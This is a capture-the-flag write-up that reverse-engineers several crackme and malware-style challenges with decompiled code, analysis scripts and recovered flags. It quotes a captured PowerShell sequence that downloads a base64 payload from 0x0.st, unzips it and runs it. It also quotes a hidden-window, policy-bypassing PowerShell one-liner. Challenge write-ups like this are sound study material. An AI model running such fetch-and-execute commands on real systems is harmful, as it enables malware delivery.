Easy
CryptPad
The main logic is in sub_4014EB:
1 | CHAR __stdcall sub_4014EB(LPSTR lpMem, DWORD NumberOfBytesWritten, int a3) |
This is a Xor-RC4-Xor, and the xor key is DE BC 0A 89 67 45 23 01, RC4 key has 8 bytes and was saved to the file’s end, as the structure is 4 byte message length + key + key length (8). The RC4 key is E8 17 1B F4 50 3F 3D 70.
CMO{r0ll_y0ur_0wn_b4d_c0d3}
FLRSCRNSVR.SCR
The main logic:
1 | LSTATUS __fastcall sub_140001AE0(wchar_t *Source) |
The sub_140001300 is the encrypt function:
1 | __int16 __fastcall sub_140001300(__int64 p_Destination) |
This is a substitution-xor key+index-reverse, and the cipher is load in sub_140001890.
1 | cip = bytearray([0x3C, 0x51, 0x6A, 0x09, 0x02, 0x07, 0x25, 0x03, 0x30, 0x08, 0x04, 0x29, 0x68, 0x24, 0x01, 0x24, 0x18, 0x6B, 0x77, 0x0F, 0x70, 0x36, 0x02, 0x0E, 0x0B]) |
CMO{frogt4s7ic_r3vers1ng}
RecordPlayer
WinMain:
1 | int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) |
sub_1400032B0 initialized the interface:
1 | _QWORD *__fastcall sub_1400032B0(_QWORD *p_dwInitParam, HINSTANCE hInstance, __int64 lpCmdLine, __int64 nShowCmd) |
From Resource Hacker, the 106 & 107 is the play button, 104 & 105 is exit, and 102 & 103 is about. Also, the resource id 130 is the success page, and dialog id 134 is the success dialog.
Dialog function:
1 | INT_PTR __fastcall DialogFunc(HWND hWnd, unsigned int n272, __int64 a3, _QWORD *dwNewLong) |
The case GetWindowLongPtrW jump to this function:
1 | HGDIOBJ __fastcall sub_7FF68AAC3770(__int64 a1, unsigned int n32769, HDC hdc, __int64 a4) |
Note that if ( n32769 == 32769 ) is just the right dialog (dialog 134). And if this value is 0x8001, the program will copy the string at a1+88 and show it. Search of PostMessageW find this function:
1 | void __fastcall sub_7FF68AAC3A60(__int64 a1, size_t *a2) |
And hardware breakpoint at a1+88 is triggered in:
1 | __int64 __fastcall sub_7FF68AAC3860(__int64 a1, __int16 a2) |
id 141 is just the sound’s id, this function is the logic of the play button. And this function is suspicious:
1 | __int64 __fastcall sub_7FF68AAC3A00(__int64 a1, unsigned __int8 a2) |
As a2 = 1, this will return -1. So this is the first broken: the play direction. And the second broken is at sub_7FF68AAC3A20, change this 1 to 0, and play, the flag will show.
CMO{y0u_g0t_r1ckr0ll3d}
Intermediate
httpd
Notice that main.main has nothing useful, and text search find the source file /home/crudd/httpd3/httpd.go. Try to find all functions that belong to this file:
1 | import idautils |
1 | import subprocess |
The output has 3 functions: main.main, main.handler and an extremely suspicious function net/http.init. In fact, this function is disguised as a library function, but it has a very complex logic, and it is the core logic:
1 | void __golang net_http_init_0() |
This function keeps waiting for ICMP packets, and if the length of packet is 32, type is 0x08, identifier is 0x1337, the first int32 of payload is 0xE55FDEC6, it will try to decrypt the 32 byte cipher, using AES. The key is constructed from some data in the package.
Decrypt:
1 | from Crypto.Cipher import AES |
CMO{fUn_w1th_m4g1c_p4ck3t5}
connected
This program registered 10 IPs in main, and 9 lambda functions to parse the input:
| IP_HEX | IP | Lambda Function ID | Received |
|---|---|---|---|
| 0x260FC72A | 38.15.199.42 | 1 | input |
| 0x260FC729 | 38.15.199.41 | 2→1 (if directly call) | My complicated firewall rules told me to not talk to you (if directly call) |
| 0x260FC728 | 38.15.199.40 | 3→1 | OK |
| 0x64191A0A | 100.25.26.10 | 4→9→4→7→9→7→4→8→9→8→4→6→9→6→4→1 (if input format is msg_<xxx>) |
I don’t want to talk to you (if format wrong or input wrong) |
| 0x64191A0B | 100.25.26.11 | 5→1 | Okay, I did some spamming. You are welcome! |
| 0x64191A0F | 100.25.26.15 | 6→9→6→1 | 1 (if all bytes are printable and ascii are even) / 0 (else) |
| 0x400E0319 | 64.14.3.25 | 7→9→7→1 | strlen(input) |
| 0x400E031D | 64.14.3.29 | 8→9→8→1 | weak hash function |
| 0x53305C05 | 83.48.92.5 | - (user IP) | - |
| 0x53305C08 | 83.48.92.8 | 9→1 | xor 0x42 |
From the table we can see function 1 is for the final output, and function 4 is the most important part. For chain 4, the constraints are: length == 8, ascii == even, hash == 0x06022e46. A solution is: :"*$$*":
1 | what: msg_:"*$$*": |
CMO{secret_code_jx65692q}
moment
The code of this program is very chaotic, and try to use debugger will make the program die before main. Note that this program has a huge init function table:
1 | .rdata:00000001401128A8 ; const _PVFV First_ |
longfunc_3C615 compiles a regex to find all *.dll files at the beginning. However, in debugging, the program accessed a wrong memory addr at .text:000000014001916D call sub_1400BB6A0 in longfunc_3C615, and this function sub_1400BB6A0 is very weird:
1 | .text:00000001400BB6A0 ; _QWORD *__fastcall sub_1400BB6A0(_QWORD *) |
In fact, this function relies on exception, and sub is a dll function hash parser, in all cases of longfunc_3C615, its corresponding function is kernel32_VirtualAlloc. After passing the exception to the program, the program successfully runs into main. In main, the program has a loop function in a while 1 loop, and sub_140108DE0 is called in the loop, this function will create many threads to anti-debug:
1 | void __noreturn call_func_tables() |
1 | .data:00007FF737ACA4A0 func_table dq offset func_table_1_longfunc_9663 |
These functions are almost all long functions, and deeply obfuscated.
After the call_func_tables there are some cipher strings:
1 | sub_1401031A0: |
These strings are encrypted, try to decrypt:
1 | def dec(x): |
This is just the program’s output:
1 | \x41s, youll never recover the flag now. |
Try to find All encrypted strings:
1 | import idaapi |
Output:
1 | 0x140001137 -> \x2ea\x1d\x22\x2c\x1c\x25\x28\x2c\x1e\x1d |
From these strings we can see a huge blacklist that contains many analyze tools and virtual environments. In the main loop also has a line:
1 | if ( RegOpenKeyExW(HKEY_LOCAL_MACHINE, (LPCWSTR)lpSubKey, 0, 0x20019u, (PHKEY)&Src.m256_f32[2]) ) |
This accessed the register of SOFTWARE\\Microsoft\\RemovalTools\\MRT.
Try detect ALL decrypt cipher function:
1 | # -*- coding: utf-8 -*- |
Then trace all the strings:
1 | # -*- coding: utf-8 -*- |
Notice that in log:
1 | [RET ] tid=7244 decstr_03@0x7FF737A5BDA0 ret_ea=0x7FF737A5BEA7 caller=0x7FF737A9F20C rax=0x32772FFBE0 raw8@rax=000085f8f8010000 [rax]=0x1F8F8850000 src=[RAX] ptr=0x1F8F8850000 enc=utf16 text='GIVEMETHEFLAG' |
Find the function:
1 | *(double *)&_XMM0 = decstr_03(&v249, v94, 32, 34, 47, 30, 38, 30, 45, 33, 30, 31, 37, 26, 32); |
The decstr_03 is GIVEMETHEFLAG, as all bytes in big case add with 0x27.
Note that the decstr_27 add 0x27 is CMOq[>('*)[[*`r, with the header CMO, so patch the program, find anywhere and patch bytes to:
1 | .text:00007FF737A9F6C3 mov [rsp+170h+var_F0], 4Bh ; 'K' |
And just run the program and watch the output.
CMO{0xbadc00d5}
What did you type
The two files are .pcap traffics, the big one is a keyboard data:
1 | powersh <RET>ls<RET>cd<SPACE>Docu <RET>ls<RET>c<DEL>[]IO.File::WwriteAall ""$pwd\sus.zip,<SPACE>[]Cconvert::FfromBase64Sst(irm<SPACE>''https://0x0.st/PbWE.txt)))<RET>ls<RET>unzip<RET>unzip<SPACE>-P<SPACE>1m_g0d_!!<SPACE>sus.z <SPACE>-d<SPACE>out<RET>mv<SPACE>out\*<SPACE>.<RET>./modu <RET>rm<SPACE>*<RET>exit<RET> |
This uploaded a zip’s Base64 to http://0x0.st/PbWE.txt, and the key of the zip is 1m_g0d_!!.
There’s an exe in the zip:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
And for the network traffic, the AES key is 66c9c5a2015ff2be075f3d430031f54d22f8ad7194363889a019350937946d74, as the SHA256 of THE-EMPEROR. And the sub_140003A50:
1 | LPVOID __fastcall sub_140003A50(DWORD *p_count) |
Uses the resource in file. The sub_140003830:
1 | __int64 __fastcall sub_140003830(_DWORD *buf) |
So this resource after decrypt is an exe or shellcode. However, there’s no need to analyze the shellcode. The file in the traffic are also crypted with AES-256-CBC, as the first 4 bytes are key, AES key = SHA256(KEY), iv = 0F0E0D0C0B0A09080706050403020100.
CMO{Dumb357_P3r50n_1n_7h3_M1lky_W4y_!!!}
A Matter of Time
The program‘s code is highly obfuscated, but the basic structures are not be changed. Debug to trace and find the chain.
1 | 0x140009188 Start |
At 0x14001D3EB, the value of eax is a value very similar to the time stamp, but it only updates once every several minutes. Debug shows that what the program accessed is a file’s time, as C:\Windows\System32\winevt\Logs\System.evtx. Continue:
1 | 0x14001D3F0 jmp 0x140004554 |
Note that all printable strings in program are loaded from xmmwords to xmmregs, and the decrypt is xor single byte key + index, try to find and decrypt:
1 | import idautils |
The strings are:
1 | 0x14001B3A7: |
From these strings we can see the right case is at 0x14001DBFD:
1 | .ch:00007FF60465DB31 loc_7FF60465DB31: ; CODE XREF: .text:00007FF604644885↑j |
Note that at this address, the program is comparing [rax] with “CM” (the flag header), so at this time the flag is already be decrypted. As [rax] is a 48 byte array, and the suspicious 96 character hex, the 4c4635258cf6eca5d80b8e050a9e5b04f1a9c979bc55f3f4773971ed2f81a96967bb3569fa002f549cc970a18779b3a7 is the cipher without doubt. Add hardware breakpoint to this cipher, and:
1 | .ch:00007FF60466572A ; __int64 __fastcall __far loc_7FF60466572A(void *) |
At this place the 96 char hex is converted to 48 bytes. And add bp again to the 48 byte:
1 | .ch:00007FF60466347E loc_7FF60466347E: ; CODE XREF: .text:00007FF604643320↑j |
At this place the 48 bytes are read. Moreover, the [rsp+40h] is a string 000...<Username> (username is from 0x14001D850 call 0x1400033B4 and Padding is added at 0x14001D8A4 call 0x140003D98). This is just 16 bytes. And debug shows that the array used for comparison after decryption is the result of AES-128-CBC with iv = 000...<a value related to timestamp> decryption using this string as key. The iv is generated at:
1 | .ch:00007FF60465D9AB loc_7FF60465D9AB: ; CODE XREF: .text:00007FF6046447D4↑j |
The loc_7FF604643734 returned an int and this int ^ timestamp is the iv’s value. And what this loc returns is the TimeDateStamp of the PE header of this program. Note that above has a powershell script: powershell -executionpolicy bypass -noninteractive -nologo -NoProfile -WindowStyle Hidden -Command "Start-Sleep 1; $p=''; $b=[IO.File]::ReadAllBytes($p);$e=[BitConverter]::ToInt32($b,0x3C);$z=[BitConverter]::GetBytes(0);$z.CopyTo($b,$e+8);[IO.File]::WriteAllBytes($p,$b)". This will set the TimeDateStamp to 0. This maybe means the program has only one time to try to run. Anyway, we can find the username in the compilation information of the program:
1 | .rdata:00007FF60464D590 asc_7FF60464D590 db 'RSDS' ; DATA XREF: .rdata:00007FF60464C5F4↑o |
And try a value near 0x20000000 (this is the result range obtained by XORing the original TimeDateStamp of the program around February 17~18th) as iv to decrypt:
1 | from Crypto.Cipher import AES |
This is very close to the flag. After fine-tuning, the correct IV can be obtained as 0000000537068053.
CMO{5h3_p4St_1s_t0_l34rn_fr0M_n0T_t0_l1V3_1n}
Hard
wallpaper
1 | from heapq import heappush, heappop |
CMO{1012321103210033011233322110103321001}
Matryoshka v2
The program’s logic is very simple:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
For the dll, it has two resources, an 1MB shellcode and a 60+MB encrypted PE file. The shellcode is a whole code block filled with obfuscate. The dll:
1 | __int64 __fastcall CheckPassword(_OWORD *a1) |
So every doll.dll uses the shellcode to check the input, and use input to decrypt next dll.
1 | movsx eax, byte ptr [rax] ; * 32 (strlen?) |
Because the amount of instructions is too big, try to use a pin trace script to record the change of rax and rcx in the shellcode:
1 |
|
From the output log, we can see that the two int64 0xEFB1957A03BAECF7, 0x8C982983781BCDB6 continuously appearing throughout the entire log. And every int64 input turns to a new int64 after the process, abbreviate them as Res0~Res3. In the end, after Res3 is generated, Res0 appears again and finally an int64 is produced, the value of this int64 is Res0 >> 1. Try to modify every byte of the license and observe the resulting changes:
1 | import re |
The output:
1 | [block0 byte0 pos00] 31->32 A=0x56f01199de97c803 B=0x50f01199de98cb33 changed_le_idx=[0, 1, 2, 7] |
shows that the round function for each qword is the same. Each byte will contribute to 4 bytes in the cipher.
Then try to use 4 same int 64, output shows that all values are indeed the same. Note that when input[0] is 01*8, the Res0 will be shr 3 times, while others will not, this means the program compares the result bit by bit.
Next, try to find the pattern:
1 | import os |
Output:
1 | 01 0x411CD85F280546A1 a1 46 05 41 [] |
We can see strong linear patterns in the cipher’s 4 bytes. Use bit-change to xor the delta and build the equation:
1 | import os |
The output:
1 | [dbg:base] hit marker#0 at L9295, pick L9265 rcx=0x306DA92E496427C0 |
Build linear model:
1 | def A(x): return (x << 4) & 0xFF |
The part T is an array only contains 0~3, but the value of it is complex. Optimize pin script:
1 |
|
Python script:
1 | # -*- coding: utf-8 -*- |
Generate table:
1 | # -*- coding: utf-8 -*- |
The algorithm:
1 | def A(x): return (x << 4) & 0xFF |
Count shr times:
1 |
|
Autore:
1 | # -*- coding: utf-8 -*- |
The first 32 bytes are: M0Oo8zjHkcPSWFzCxmw6jrj1RgNPucTH. And the decrypt function is an RC4, the resource is a new dll.
AutoLicense:
1 | # -*- coding: utf-8 -*- |
CMO{1NsiD3_EV3RY_stOrY_lIe$_an0TH3r_s70Ry_WAITiNG_7o_bE_oPEn3d}
Crackme #9
There are lots of functions with junk codes, after removing obfuscating, some of them have similar format:
1 | int __thiscall Obf_funcXX(_DWORD *this) |
The sub_401CBA is a function to search for DLL functions:
| Address of function | Name sub_401CBA returns |
|---|---|
| sub_401397 | user32_CallWindowProcA |
| sub_401010, sub_4013DA | advapi32_CryptAcquireContextA |
| sub_401022, sub_401443 | advapi32_CryptCreateHash |
| sub_401058, sub_40158D | advapi32_CryptDestroyHash |
| sub_40107C, sub_40166A | advapi32_CryptGetHashParam |
| sub_40108E, sub_4016DF | advapi32_CryptHashData |
| sub_402C24, sub_40187A | ntdll_KiUserExceptionDispatcher |
| sub_4010E4, sub_40194C | ntdll_NtContinue |
| sub_4010F6, sub_4019B5 | ntdll_NtQueryInformationProcess |
| sub_402BC7, sub_401B2E | ntdll_Wow64Transition |
Notice that there is a function executed before main:
1 | void *__thiscall Hook_CallWindowProcA(void *this) |
This function changed the address of CallWindowProcA to a custom function sub_402E5A. For this function:
1 | int __stdcall Hooked_CallWindowProcA(int a1, int a2, int a3, int a4, int a5) |
The function sub_402B6D is an anti-debug function, will return 1 if debugger exists. p_sub_402E1C will install some handler for exception:
1 | void __cdecl __noreturn p_sub_402E1C(int a1) |
Then for the interaction logic of the program, check dialog table:
1 | .rdata:0040B3F0 dd offset ??_R4MainDialog@@6B@ ; const MainDialog::`RTTI Complete Object Locator' |
Interface selection function:
1 | int __userpurge sub_405536@<eax>(int a1@<ecx>, int a2@<ebx>, __int16 a3, int a4) |
For the check part:
1 | unsigned int __usercall sub_405399@<eax>(int a1@<ecx>, int a2@<ebx>) |
The sub_4030A5 is the input processing function:
1 | char __userpurge sub_4030A5@<al>(int *a1@<ecx>, int a2@<ebx>, int input) |
At sub_4046C8, once 0x80000003 and several times 0x80000004 were triggered. Next, the program runs to a custom section .pc at 0x40A000. This area is filled with illegal instructions and soon caused exception 0x80000001:
1 | int __thiscall Handler_0x80000001(int this, int a2, int a3) |
The a2 is the kind of exception, and a3 + 184 is CONTEXT.Eip. In sub_4037FA, the a1 points to DR (Debug Registers), and this function set DR0, DR6 and DR7 to 0, which equivalents to clearing all hardware breakpoints:
1 | int __stdcall sub_4037FA(int *a1) |
Patch to:
1 | int __stdcall sub_4037FA(int *a1) |
At sub_40413B, there’s an algorithm:
1 | int __thiscall sub_40413B(void *this, int a2, char *Src) |
The array a2 is 8 dwords at 0x40D268, generated from the program’s .text section’s sha256 hash. This means we can’t set software breakpoints and patch the program before the checksum finished. The right checksum is F6 30 AA 38 D5 72 97 37 5D 64 55 59 C3 34 FD 50 D5 5C A1 D1 77 D2 65 5A 04 23 51 CF 69 24 4B F2. After patching the checksum:
1 | _DWORD *__thiscall sub_401E67(_DWORD *this, int a2, int a3) |
the program successfully returns the “try again” window. The self-decrypt algorithm is a modified chacha20. Decrypt the .pc section:
1 | import struct |
However, the decrypted shellcode is full of junk codes and control flow flattening obfuscating, making it difficult to analyze.
To find the function after decrypt, after called loc_40A000, in sub_40413B:
1 | int __thiscall sub_40413B(void *this, int a2, char *Src) |
The v3 is the place of decrypted function. First function:
1 | _DWORD *__fastcall sub_40A000(_DWORD *key) |
returns 5 dwords (key). Debugging found that the program decrypts 16 bytes of encrypted bytecode each time, and then only executes one line of assembly code. The next decryption starts from the end of the previous assembly code. When set breakpoint at 0x404010 (before memcpy of decrypted code), the code will store at *EBX. Dump the assembly code:
1 | import os |
Disasm the shellcode:
1 | # -*- coding: utf-8 -*- |
From the trace, it was found that the shellcode has the behavior of accessing sha256 hash, as previous program hash. Set bp at advapi32_CryptCreateHash, advapi32_CryptHashData and advapi32_CryptGetHashParam, ant it was found that these functions were called at least dozens of times, and each time they were generating a hash of the .text section. Hook hash:
1 | import ida_dbg |
Mix:
1 | import os |
Set hardware breakpoint at 0x19F38C, and the shellcode firstly calls strlen and cmp the length with 19. However, setting hardware breakpoints can also cause subsequent instructions to malfunction after triggering the breakpoint. Parse dump.bin (not that if the operator is call, it will not appears at the first line of a block):
1 | # -*- coding: utf-8 -*- |
And then patch decrypted .pc to another Crackme.exe, get the disasm:
1 | import os |
Through the assembly code, it was found that shellcode uses [ebp-0x10] to [ebp-0x4] as temporary registers, add to dump:
1 | def _dump_once(tid=None): |
From the trace output, the 4 dwords are: sum_diff, block_state, byte_processed and state_tag. The block_res is initialized with 0xCAFEBABE, and updated every byte. When the number of processed byte reaches 4 (19 for the last one), the block_state will xor with the index of 5 dwords which load by 40A000, and the result will or to sum_diff. Hardware breakpoint shows that the input will be load at movzx eax, byte ptr [ecx+eax], and the run amount of this instruction is just 19. And in the loop, [ebp+8] is the block_state, [ebp-4] is the input byte. Analyze the first part:
1 | 0x0040A0AA movzx eax, byte ptr [ecx+eax] ; inp[0] |
This part is a extremely complex function, as:
1 | def rol32(num, shift): return ((num << shift) | (num >> (0x20-shift))) & 0xFFFFFFFF |
And in the second part, the [ebp-0Ch] is the round index, and the [ebp-10h] is the round amount:
1 | 0x0040A0F5 mov eax, 1 |
This is:
1 | def round_func(inp, state): |
Part 3:
1 | 0x0040A39E mov eax, [ebp+8] |
In the end of this part, the value of [ebp-0Ch] is updated. This part is as:
1 | def tail_func(inp, state): |
Therefore, we can search for the middle vars during the function, and the result is: the addr of ebp during the function is at 0x19F328. [ebp-8] is0x19F320, as the tail_func tmp1; [ebp+8] is0x19F330, as the state in func. Add them to the mix hook:
1 | def _dump_once(tid=None): |
The total function of these 3 part is:
1 | def byte_func(inp, state): |
After this part and before the next char is loaded:
1 | 0x0040A426 mov eax, [ebp-8] |
These codes are mainly used for hash verification and their existence can be ignored. And for every 4 byte after calculating:
1 | 0x0040A124 cdq |
Therefore the encrypt process is:
1 | sn = bytearray(b"1234567890123456789") |
For each dword:
1 | # -*- coding: utf-8 -*- |
The input is D3FE-A7ED-BAAD-C0D3.
CMO{byp4ss3d_f4tm1k3_2o26}